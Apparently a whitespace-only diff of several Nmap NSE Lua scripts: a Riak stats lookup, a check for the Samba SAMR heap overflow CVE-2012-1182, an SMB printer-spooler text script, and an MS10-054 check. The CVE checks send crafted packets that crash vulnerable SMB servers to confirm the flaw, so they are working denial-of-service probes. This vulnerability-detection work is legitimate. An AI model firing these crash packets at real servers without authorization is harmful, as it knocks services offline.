if ( not(restab) or 0 == #restab ) then
|
if ( not(restab) or 0 == #restab ) then
|
||||||
return fail("Failed to parse response from server")
|
return fail("Failed to parse response from server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local kvs = {}
|
local kvs = {}
|
||||||
for _, item in ipairs(restab) do
|
for _, item in ipairs(restab) do
|
||||||
local k, v = item:match("^([^:]*):(.*)$")
|
local k, v = item:match("^([^:]*):(.*)$")
|
||||||
if k ~= nil then
|
if k ~= nil then
|
||||||
kvs[k] = v
|
kvs[k] = v
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local result = tab.new(2)
|
local result = tab.new(2)
|
||||||
for _, item in ipairs(order) do
|
for _, item in ipairs(order) do
|
||||||
if kvs[item] then
|
if kvs[item] then
|
||||||
local name = filter[item].name
|
local name = filter[item].name
|
||||||
local val
|
local val
|
||||||
|
|
||||||
if filter[item].func then
|
if filter[item].func then
|
||||||
val = filter[item].func(host, port, kvs[item])
|
val = filter[item].func(host, port, kvs[item])
|
||||||
else
|
else
|
||||||
val = kvs[item]
|
val = kvs[item]
|
||||||
end
|
end
|
||||||
tab.addrow(result, name, val)
|
tab.addrow(result, name, val)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, tab.dump(result))
|
return stdnse.format_output(true, tab.dump(result))
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -57,49 +57,49 @@ categories = {"discovery", "safe"}
|
|||||||
portrule = shortport.port_or_service(8098, "http")
|
portrule = shortport.port_or_service(8098, "http")
|
||||||
|
|
||||||
local filter = {
|
local filter = {
|
||||||
["sys_system_architecture"] = { name = "Architecture" },
|
["sys_system_architecture"] = { name = "Architecture" },
|
||||||
["mem_total"] = { name = "Total Memory" },
|
["mem_total"] = { name = "Total Memory" },
|
||||||
["crypto_version"] = { name = "Crypto version" },
|
["crypto_version"] = { name = "Crypto version" },
|
||||||
["skerl_version"] = { name = "Skerl version" },
|
["skerl_version"] = { name = "Skerl version" },
|
||||||
["os_mon_version"] = { name = "OS mon. version" },
|
["os_mon_version"] = { name = "OS mon. version" },
|
||||||
["nodename"] = { name = "Node name" },
|
["nodename"] = { name = "Node name" },
|
||||||
["basho_stats_version"] = { name = "Basho version" },
|
["basho_stats_version"] = { name = "Basho version" },
|
||||||
["lager_version"] = { name = "Lager version" },
|
["lager_version"] = { name = "Lager version" },
|
||||||
["cluster_info_version"] = { name = "Cluster info version" },
|
["cluster_info_version"] = { name = "Cluster info version" },
|
||||||
["luke_version"] = { name = "Luke version" },
|
["luke_version"] = { name = "Luke version" },
|
||||||
["sasl_version"] = { name = "SASL version" },
|
["sasl_version"] = { name = "SASL version" },
|
||||||
["sys_driver_version"] = { name = "System driver version" },
|
["sys_driver_version"] = { name = "System driver version" },
|
||||||
["bitcask_version"] = { name = "Bitcask version" },
|
["bitcask_version"] = { name = "Bitcask version" },
|
||||||
["riak_search_version"] = { name = "Riak search version" },
|
["riak_search_version"] = { name = "Riak search version" },
|
||||||
["kernel_version"] = { name = "Riak kernel version" },
|
["kernel_version"] = { name = "Riak kernel version" },
|
||||||
["stdlib_version"] = { name = "Riak stdlib version" },
|
["stdlib_version"] = { name = "Riak stdlib version" },
|
||||||
["basho_metrics_version"] = { name = "Basho metrics version" },
|
["basho_metrics_version"] = { name = "Basho metrics version" },
|
||||||
["webmachine_version"] = { name = "WebMachine version" },
|
["webmachine_version"] = { name = "WebMachine version" },
|
||||||
["public_key_version"] = { name = "Public key version" },
|
["public_key_version"] = { name = "Public key version" },
|
||||||
["riak_core_version"] = { name = "Riak vore version" },
|
["riak_core_version"] = { name = "Riak vore version" },
|
||||||
["riak_pipe_version"] = { name = "Riak pipe version" },
|
["riak_pipe_version"] = { name = "Riak pipe version" },
|
||||||
["runtime_tools_version"] = { name = "Runtime tools version" },
|
["runtime_tools_version"] = { name = "Runtime tools version" },
|
||||||
["ssl_version"] = { name = "SSL version" },
|
["ssl_version"] = { name = "SSL version" },
|
||||||
["mochiweb_version"] = { name = "MochiWeb version"},
|
["mochiweb_version"] = { name = "MochiWeb version"},
|
||||||
["erlang_js_version"] = { name = "Erlang JavaScript version" },
|
["erlang_js_version"] = { name = "Erlang JavaScript version" },
|
||||||
["riak_kv_version"] = { name = "Riak kv version" },
|
["riak_kv_version"] = { name = "Riak kv version" },
|
||||||
["luwak_version"] = { name = "Luwak version"},
|
["luwak_version"] = { name = "Luwak version"},
|
||||||
["merge_index_version"] = { name = "Merge index version" },
|
["merge_index_version"] = { name = "Merge index version" },
|
||||||
["inets_version"] = { name = "Inets version" },
|
["inets_version"] = { name = "Inets version" },
|
||||||
["storage_backend"] = { name = "Storage backend" },
|
["storage_backend"] = { name = "Storage backend" },
|
||||||
["riak_sysmon_version"] = { name = "Riak sysmon version" },
|
["riak_sysmon_version"] = { name = "Riak sysmon version" },
|
||||||
}
|
}
|
||||||
|
|
||||||
local order = {
|
local order = {
|
||||||
"nodename", "sys_system_architecture", "storage_backend", "mem_total",
|
"nodename", "sys_system_architecture", "storage_backend", "mem_total",
|
||||||
"crypto_version", "skerl_version", "os_mon_version", "basho_stats_version",
|
"crypto_version", "skerl_version", "os_mon_version", "basho_stats_version",
|
||||||
"lager_version", "cluster_info_version", "luke_version", "sasl_version",
|
"lager_version", "cluster_info_version", "luke_version", "sasl_version",
|
||||||
"sys_driver_version", "bitcask_version", "riak_search_version",
|
"sys_driver_version", "bitcask_version", "riak_search_version",
|
||||||
"kernel_version", "stdlib_version", "basho_metrics_version",
|
"kernel_version", "stdlib_version", "basho_metrics_version",
|
||||||
"webmachine_version", "public_key_version", "riak_core_version",
|
"webmachine_version", "public_key_version", "riak_core_version",
|
||||||
"riak_pipe_version", "runtime_tools_version", "ssl_version",
|
"riak_pipe_version", "runtime_tools_version", "ssl_version",
|
||||||
"mochiweb_version", "erlang_js_version", "riak_kv_version",
|
"mochiweb_version", "erlang_js_version", "riak_kv_version",
|
||||||
"luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version"
|
"luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -107,39 +107,39 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local response = http.get(host, port, "/stats")
|
local response = http.get(host, port, "/stats")
|
||||||
|
|
||||||
if ( not(response) or response.status ~= 200 ) then
|
if ( not(response) or response.status ~= 200 ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
||||||
local _, http_status, _ = http.identify_404(host,port)
|
local _, http_status, _ = http.identify_404(host,port)
|
||||||
if ( http_status == 200 ) then
|
if ( http_status == 200 ) then
|
||||||
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
|
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Silently abort if the server responds as anything different than
|
-- Silently abort if the server responds as anything different than
|
||||||
-- MochiWeb
|
-- MochiWeb
|
||||||
if ( response.header['server'] and
|
if ( response.header['server'] and
|
||||||
not(response.header['server']:match("MochiWeb")) ) then
|
not(response.header['server']:match("MochiWeb")) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, parsed = json.parse(response.body)
|
local status, parsed = json.parse(response.body)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to parse response")
|
return fail("Failed to parse response")
|
||||||
end
|
end
|
||||||
|
|
||||||
local result = tab.new(2)
|
local result = tab.new(2)
|
||||||
for _, item in ipairs(order) do
|
for _, item in ipairs(order) do
|
||||||
if ( parsed[item] ) then
|
if ( parsed[item] ) then
|
||||||
local name = filter[item].name
|
local name = filter[item].name
|
||||||
local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )
|
local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )
|
||||||
tab.addrow(result, name, val)
|
tab.addrow(result, name, val)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, tab.dump(result))
|
return stdnse.format_output(true, tab.dump(result))
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -62,69 +62,69 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = {"vuln","intrusive"}
|
categories = {"vuln","intrusive"}
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return smb.get_port(host) ~= nil
|
return smb.get_port(host) ~= nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host,port)
|
action = function(host,port)
|
||||||
|
|
||||||
local result, stats
|
local result, stats
|
||||||
local response = {}
|
local response = {}
|
||||||
|
|
||||||
local samba_cve = {
|
local samba_cve = {
|
||||||
title = "SAMBA remote heap overflow",
|
title = "SAMBA remote heap overflow",
|
||||||
IDS = {CVE = 'CVE-2012-1182'},
|
IDS = {CVE = 'CVE-2012-1182'},
|
||||||
risk_factor = "HIGH",
|
risk_factor = "HIGH",
|
||||||
scores = {
|
scores = {
|
||||||
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
|
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
|
||||||
},
|
},
|
||||||
description = [[
|
description = [[
|
||||||
Samba versions 3.6.3 and all versions previous to this are affected by
|
Samba versions 3.6.3 and all versions previous to this are affected by
|
||||||
a vulnerability that allows remote code execution as the "root" user
|
a vulnerability that allows remote code execution as the "root" user
|
||||||
from an anonymous connection.
|
from an anonymous connection.
|
||||||
]],
|
]],
|
||||||
references = {
|
references = {
|
||||||
'http://www.samba.org/samba/security/CVE-2012-1182',
|
'http://www.samba.org/samba/security/CVE-2012-1182',
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2012', month = '03', day = '15'},
|
disclosure = {year = '2012', month = '03', day = '15'},
|
||||||
},
|
},
|
||||||
exploit_results = {},
|
exploit_results = {},
|
||||||
}
|
}
|
||||||
|
|
||||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
samba_cve.state = vulns.STATE.NOT_VULN
|
samba_cve.state = vulns.STATE.NOT_VULN
|
||||||
|
|
||||||
-- create SMB session
|
-- create SMB session
|
||||||
local status, smbstate
|
local status, smbstate
|
||||||
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
|
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
return false, smbstate
|
return false, smbstate
|
||||||
end
|
end
|
||||||
|
|
||||||
-- bind to SAMR service
|
-- bind to SAMR service
|
||||||
local bind_result
|
local bind_result
|
||||||
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
|
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
msrpc.stop_smb(smbstate)
|
msrpc.stop_smb(smbstate)
|
||||||
return false, bind_result
|
return false, bind_result
|
||||||
end
|
end
|
||||||
|
|
||||||
-- create malicious packet, same as in the PoC
|
-- create malicious packet, same as in the PoC
|
||||||
local data = bin.pack("<I",4096) -- num_sids
|
local data = bin.pack("<I",4096) -- num_sids
|
||||||
.. "abcd"
|
.. "abcd"
|
||||||
..bin.pack("<III",100
|
..bin.pack("<III",100
|
||||||
,0
|
,0
|
||||||
,100)
|
,100)
|
||||||
..string.rep("a",1000)
|
..string.rep("a",1000)
|
||||||
|
|
||||||
local marshaledHandle = string.rep("X",20)
|
local marshaledHandle = string.rep("X",20)
|
||||||
status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
|
status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
|
||||||
stdnse.print_debug(2, "msrpc.samr_getaliasmembership: %s, '%s'", status, result)
|
stdnse.print_debug(2, "msrpc.samr_getaliasmembership: %s, '%s'", status, result)
|
||||||
if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
|
if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
|
||||||
samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed
|
samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed
|
||||||
end
|
end
|
||||||
|
|
||||||
return report:make_output(samba_cve)
|
return report:make_output(samba_cve)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ which you can specify trough smb library arguments <code>smbuser</code> and
|
|||||||
-- |_smb-print-text: Printer job started using MyPrinter printer share.
|
-- |_smb-print-text: Printer job started using MyPrinter printer share.
|
||||||
--
|
--
|
||||||
-- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares.
|
-- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares.
|
||||||
-- @args text Text to print. Either text or filename need to be specified.
|
-- @args text Text to print. Either text or filename need to be specified.
|
||||||
-- @args filename File to read text from (ASCII only).
|
-- @args filename File to read text from (ASCII only).
|
||||||
--
|
--
|
||||||
|
|
||||||
@@ -37,98 +37,98 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = {"intrusive"}
|
categories = {"intrusive"}
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return smb.get_port(host) ~= nil
|
return smb.get_port(host) ~= nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host,port)
|
action = function(host,port)
|
||||||
local status, smbstate
|
local status, smbstate
|
||||||
local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')
|
local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')
|
||||||
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
|
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
|
||||||
if (not text) and (not filename) then
|
if (not text) and (not filename) then
|
||||||
stdnse.print_debug("Script requires either text or filename script argument.")
|
stdnse.print_debug("Script requires either text or filename script argument.")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local text_to_print
|
local text_to_print
|
||||||
if text then
|
if text then
|
||||||
text_to_print = text
|
text_to_print = text
|
||||||
else
|
else
|
||||||
-- read text from file
|
-- read text from file
|
||||||
local file = io.open(filename, "rb")
|
local file = io.open(filename, "rb")
|
||||||
text_to_print = file:read("*all")
|
text_to_print = file:read("*all")
|
||||||
end
|
end
|
||||||
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
|
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
stdnse.print_debug("SMB: " .. smbstate)
|
stdnse.print_debug("SMB: " .. smbstate)
|
||||||
return false, smbstate
|
return false, smbstate
|
||||||
end
|
end
|
||||||
|
|
||||||
local bind_result
|
local bind_result
|
||||||
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
|
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
msrpc.stop_smb(smbstate)
|
msrpc.stop_smb(smbstate)
|
||||||
stdnse.print_debug("SMB: " .. bind_result)
|
stdnse.print_debug("SMB: " .. bind_result)
|
||||||
return false, bind_result
|
return false, bind_result
|
||||||
end
|
end
|
||||||
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
|
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
|
||||||
-- if printer not set find available printers
|
-- if printer not set find available printers
|
||||||
if not printer then
|
if not printer then
|
||||||
stdnse.print_debug("No printer specified, trying to find one...")
|
stdnse.print_debug("No printer specified, trying to find one...")
|
||||||
local lanman_result
|
local lanman_result
|
||||||
local REMSmb_NetShareEnum_P = "WrLeh"
|
local REMSmb_NetShareEnum_P = "WrLeh"
|
||||||
local REMSmb_share_info_1 = "B13BWz"
|
local REMSmb_share_info_1 = "B13BWz"
|
||||||
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
|
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
|
||||||
if status == false then
|
if status == false then
|
||||||
stdnse.print_debug("SMB: " .. lanman_result)
|
stdnse.print_debug("SMB: " .. lanman_result)
|
||||||
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
|
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
local parameters = lanman_result.parameters
|
local parameters = lanman_result.parameters
|
||||||
local data = lanman_result.data
|
local data = lanman_result.data
|
||||||
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
|
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
|
||||||
pos = 0
|
pos = 0
|
||||||
local share_type, name, _
|
local share_type, name, _
|
||||||
for i = 1, entry_count, 1 do
|
for i = 1, entry_count, 1 do
|
||||||
_,share_type = bin.unpack(">s",data,pos+14)
|
_,share_type = bin.unpack(">s",data,pos+14)
|
||||||
pos, name = bin.unpack("<z", data, pos)
|
pos, name = bin.unpack("<z", data, pos)
|
||||||
|
|
||||||
-- pos needs to be rounded to the next even multiple of 20
|
-- pos needs to be rounded to the next even multiple of 20
|
||||||
pos = pos + ( 20 - (#name % 20) ) - 1
|
pos = pos + ( 20 - (#name % 20) ) - 1
|
||||||
if share_type == 1 then -- share is printer
|
if share_type == 1 then -- share is printer
|
||||||
stdnse.print_debug("Found printer share %s.", name)
|
stdnse.print_debug("Found printer share %s.", name)
|
||||||
printer = name
|
printer = name
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if not printer then
|
if not printer then
|
||||||
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
|
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
stdnse.print_debug("Using %s as printer.",printer)
|
stdnse.print_debug("Using %s as printer.",printer)
|
||||||
-- call RpcOpenPrinterEx - opnum 69
|
-- call RpcOpenPrinterEx - opnum 69
|
||||||
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
|
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
|
||||||
if not status then
|
if not status then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local printer_handle = string.sub(result.data,25,#result.data-4)
|
local printer_handle = string.sub(result.data,25,#result.data-4)
|
||||||
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
|
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
|
||||||
-- call RpcStartDocPrinter - opnum 17
|
-- call RpcStartDocPrinter - opnum 17
|
||||||
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this
|
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this
|
||||||
if not status then
|
if not status then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local print_job_id = string.sub(result.data,25,#result.data-4)
|
local print_job_id = string.sub(result.data,25,#result.data-4)
|
||||||
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
|
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
|
||||||
|
|
||||||
-- call RpcWritePrinter - 19
|
-- call RpcWritePrinter - 19
|
||||||
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)
|
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)
|
||||||
if not status then
|
if not status then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local write_result = string.sub(result.data,25,#result.data-4)
|
local write_result = string.sub(result.data,25,#result.data-4)
|
||||||
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
|
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
|
||||||
|
|
||||||
status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)
|
status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)
|
||||||
|
|
||||||
return string.format("Printer job started using <%s> printer share.", printer)
|
return string.format("Printer job started using <%s> printer share.", printer)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -45,102 +45,102 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = {"vuln","intrusive","dos"}
|
categories = {"vuln","intrusive","dos"}
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return smb.get_port(host) ~= nil
|
return smb.get_port(host) ~= nil
|
||||||
end
|
end
|
||||||
|
|
||||||
-- stolen from smb.lua as max data count needed to be modified to trigger the crash
|
-- stolen from smb.lua as max data count needed to be modified to trigger the crash
|
||||||
local function send_transaction2(smbstate, sub_command, function_parameters)
|
local function send_transaction2(smbstate, sub_command, function_parameters)
|
||||||
local header, parameters, data, command
|
local header, parameters, data, command
|
||||||
local parameter_offset = 0
|
local parameter_offset = 0
|
||||||
local parameter_size = 0
|
local parameter_size = 0
|
||||||
local data_offset = 0
|
local data_offset = 0
|
||||||
local data_size = 0
|
local data_size = 0
|
||||||
local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
|
local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
|
||||||
local response = {}
|
local response = {}
|
||||||
|
|
||||||
-- Header is 0x20 bytes long (not counting NetBIOS header).
|
-- Header is 0x20 bytes long (not counting NetBIOS header).
|
||||||
header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
|
header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
|
||||||
|
|
||||||
if(function_parameters) then
|
if(function_parameters) then
|
||||||
parameter_offset = 0x44
|
parameter_offset = 0x44
|
||||||
parameter_size = #function_parameters
|
parameter_size = #function_parameters
|
||||||
data_offset = #function_parameters + 33 + 32
|
data_offset = #function_parameters + 33 + 32
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Parameters are 0x20 bytes long.
|
-- Parameters are 0x20 bytes long.
|
||||||
parameters = bin.pack("<SSSSCCSISSSSSCCS",
|
parameters = bin.pack("<SSSSCCSISSSSSCCS",
|
||||||
parameter_size, -- Total parameter count.
|
parameter_size, -- Total parameter count.
|
||||||
data_size, -- Total data count.
|
data_size, -- Total data count.
|
||||||
0x000a, -- Max parameter count.
|
0x000a, -- Max parameter count.
|
||||||
0x000a, -- Max data count, less than 12 causes a crash
|
0x000a, -- Max data count, less than 12 causes a crash
|
||||||
0x00, -- Max setup count.
|
0x00, -- Max setup count.
|
||||||
0x00, -- Reserved.
|
0x00, -- Reserved.
|
||||||
0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
|
0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
|
||||||
0x00001388, -- Timeout (0x00000000 = return immediately).
|
0x00001388, -- Timeout (0x00000000 = return immediately).
|
||||||
0x0000, -- Reserved.
|
0x0000, -- Reserved.
|
||||||
parameter_size, -- Parameter bytes.
|
parameter_size, -- Parameter bytes.
|
||||||
parameter_offset, -- Parameter offset.
|
parameter_offset, -- Parameter offset.
|
||||||
data_size, -- Data bytes.
|
data_size, -- Data bytes.
|
||||||
data_offset, -- Data offset.
|
data_offset, -- Data offset.
|
||||||
0x01, -- Setup Count
|
0x01, -- Setup Count
|
||||||
0x00, -- Reserved
|
0x00, -- Reserved
|
||||||
sub_command -- Sub command
|
sub_command -- Sub command
|
||||||
)
|
)
|
||||||
|
|
||||||
local data = "\0\0\0" .. (function_parameters or '')
|
local data = "\0\0\0" .. (function_parameters or '')
|
||||||
|
|
||||||
-- Send the transaction request
|
-- Send the transaction request
|
||||||
stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2")
|
stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2")
|
||||||
local result, err = smb.smb_send(smbstate, header, parameters, data, {})
|
local result, err = smb.smb_send(smbstate, header, parameters, data, {})
|
||||||
if(result == false) then
|
if(result == false) then
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host,port)
|
action = function(host,port)
|
||||||
if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
|
if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
|
||||||
stdnse.print_debug("You must specify unsafe script argument to run this script.")
|
stdnse.print_debug("You must specify unsafe script argument to run this script.")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local ms10_054 = {
|
local ms10_054 = {
|
||||||
title = "SMB remote memory corruption vulnerability",
|
title = "SMB remote memory corruption vulnerability",
|
||||||
IDS = {CVE = 'CVE-2010-2550'},
|
IDS = {CVE = 'CVE-2010-2550'},
|
||||||
risk_factor = "HIGH",
|
risk_factor = "HIGH",
|
||||||
scores = {
|
scores = {
|
||||||
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
|
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
|
||||||
},
|
},
|
||||||
description = [[
|
description = [[
|
||||||
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
|
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
|
||||||
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
|
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
|
||||||
does not properly validate fields in an SMB request, which allows remote attackers
|
does not properly validate fields in an SMB request, which allows remote attackers
|
||||||
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
|
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
|
||||||
]],
|
]],
|
||||||
references = {
|
references = {
|
||||||
'http://seclists.org/fulldisclosure/2010/Aug/122',
|
'http://seclists.org/fulldisclosure/2010/Aug/122',
|
||||||
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
|
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2010', month = '08', day = '11'},
|
disclosure = {year = '2010', month = '08', day = '11'},
|
||||||
},
|
},
|
||||||
exploit_results = {},
|
exploit_results = {},
|
||||||
}
|
}
|
||||||
|
|
||||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
ms10_054.state = vulns.STATE.NOT_VULN
|
ms10_054.state = vulns.STATE.NOT_VULN
|
||||||
|
|
||||||
local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
|
local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
|
||||||
|
|
||||||
local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
|
local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
|
||||||
|
|
||||||
local param = "0501" -- Query FS Attribute Info
|
local param = "0501" -- Query FS Attribute Info
|
||||||
local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param))
|
local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param))
|
||||||
status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
|
status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
|
||||||
if not status then -- if not , it has crashed
|
if not status then -- if not , it has crashed
|
||||||
ms10_054.state = vulns.STATE.VULN
|
ms10_054.state = vulns.STATE.VULN
|
||||||
else
|
else
|
||||||
stdnse.print_debug("Machine is not vulnerable")
|
stdnse.print_debug("Machine is not vulnerable")
|
||||||
end
|
end
|
||||||
return report:make_output(ms10_054)
|
return report:make_output(ms10_054)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -47,93 +47,93 @@ ConnectionPool = {}
|
|||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
|
|
||||||
-- Creates a new driver instance
|
-- Creates a new driver instance
|
||||||
-- @param host table as received by the action method
|
-- @param host table as received by the action method
|
||||||
-- @param port table as received by the action method
|
-- @param port table as received by the action method
|
||||||
-- @param pool an instance of the ConnectionPool
|
-- @param pool an instance of the ConnectionPool
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
